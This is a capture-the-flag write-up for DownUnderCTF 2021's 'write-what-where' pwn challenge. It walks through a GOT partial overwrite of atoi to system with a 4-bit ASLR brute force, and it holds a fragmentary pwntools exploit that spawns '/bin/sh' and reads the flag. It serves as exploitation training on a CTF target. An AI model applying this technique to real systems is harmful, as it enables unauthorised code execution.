**"Write what were"**
was a pwn challenge from DownUnderCTF 2021,
an easy one, were you can write a value to an address, in oneshot.. classical problem so..
let's check the protections.
ok no PIE, GOT is writable..
let's have a look to the program.
well nothing much to say, read an address, read value, write the value to this address..
the libc is given, so we know the different function offsets..
we will replace atoi function two lsb bytes, by system function two lsb byte, 4 bits of ASLR will be left to guess, which is very fast...
then when the replace works, the input value from 'where?', will be passed to system()
let's see in action (for the pleasure of animated gif :) )
and here is the exploit code.
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'error'
exe = ELF('./write-what-where')
host, port = "pwn-2021.duc.tf","31920"
print('trying bruteforce of 4bits aslr...')
count = 0
p = process(exe.path)
p = remote(host,port)
# first we replace exit got entry, by _start address, to do a ret2start
# then we replace two lsb bytes of atoi got entry, by two lsb byte of system offset (needs 4 bits bruteforce)
# in case of aslr bruteforce success, atoi points now to system, so 'where?' input value, will be passed to system, we send '/bin/sh'
# let's try if it works
# p.sendline('id;cat flag*')
# if we receive back 'uid' , it worked..
buff = p.recvuntil('uid', timeout=2)
if 'uid' not in buff:
# if not , close connection try again
*nobodyisnobody still pwning things..*